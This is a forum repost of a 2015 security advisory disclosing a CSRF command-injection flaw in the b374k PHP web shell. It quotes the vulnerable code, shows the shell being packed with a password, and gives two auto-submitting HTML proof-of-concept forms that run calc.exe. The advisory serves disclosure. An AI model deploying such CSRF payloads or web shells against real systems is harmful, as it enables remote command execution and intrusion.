b374k Web Shell - CSRF Command Injection

grimnir · 14 Nov 2015

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt

Vendor:
============================================
github.com/b374k/b374k
code.google.com/p/b374k-shell/downloads/list
code.google.com/archive/p/b374k-shell/

Product:
==============================================
b374k versions 3.2.3 and 2.8

b374k is a PHP Webshell with many features such as:

File manager (view, edit, rename, delete, upload, download as archive,etc)
Command execution, Script execution (php, perl, python, ruby, java,
node.js, c)
Give you shell via bind/reverse shell connect
Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more
using ODBC or PDO)
Process list/Task manager.

This is useful for system/web admin to do remote management without opening
cpanel, connecting using ssh,
ftp etc. All actions take place within a web browser.

Note:
b374k is considered by some as a malicious backdoor and is flagged by some
AV upon download.

Vulnerability Type:
=============================
CSRF Remote Command Injection

Vulnerability Details:
=====================

No CSRF protection exists in b374k Web Shell allowing arbitrary OS command
injection, if currently
logged in user visits our malicious website or clicks our infected linxs.

vulnerable b374k code:

<?php
if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the
shell.

<form action='<?php echo $s_self; ?>' method='post'>
<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd'
style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";

else echo "- shell command -";
?>' />
<noscript><input class='inputzbut' type='submit' value='Go !'
name='submitcmd' style='width:80px;' /></noscript>

</form>

Exploit code(s):
=================

Run Windows calc.exe as POC...

[CSRF Command Injections]

v3.2

Adding password and packing to b374k single PHP file.

c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123
-s -b -z gzcompress -c 9
b374k shell packer 0.4.2

Filename : myshell.php
Password : xxxxxx
Theme : default
Modules : convert,database,info,mail,network,processes
Strip : yes
Base64 : yes
Compression : gzcompress
Compression level : 9
Result : Succeeded : [ myshell.php ] Filesize : 111419

(CSRF Command injection 1)

<form id='ABYSMALGODS' action='
http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
method='post'>
<input id='cmd' type='text' name='terminalInput' value='calc.exe' />
<script>document.getElementById('ABYSMALGODS').submit()</script>
</form>

v2.8

(CSRF Command injection 2)

<form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
<input id='cmd' type='text' name='cmd' value='calc.exe' />
<script>document.getElementById('HELL').submit()</script>
</form>

Exploitation Technique:
=======================
Remote

Severity Level:
===============
High

Description:
==================================================

Request Method(s): [+] POST

Vulnerable Product: [+] b374k 3.2 and 2.8

Vulnerable Parameter(s): [+] terminalInput, cmd

Affected Area(s): [+] OS

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Click to expand...

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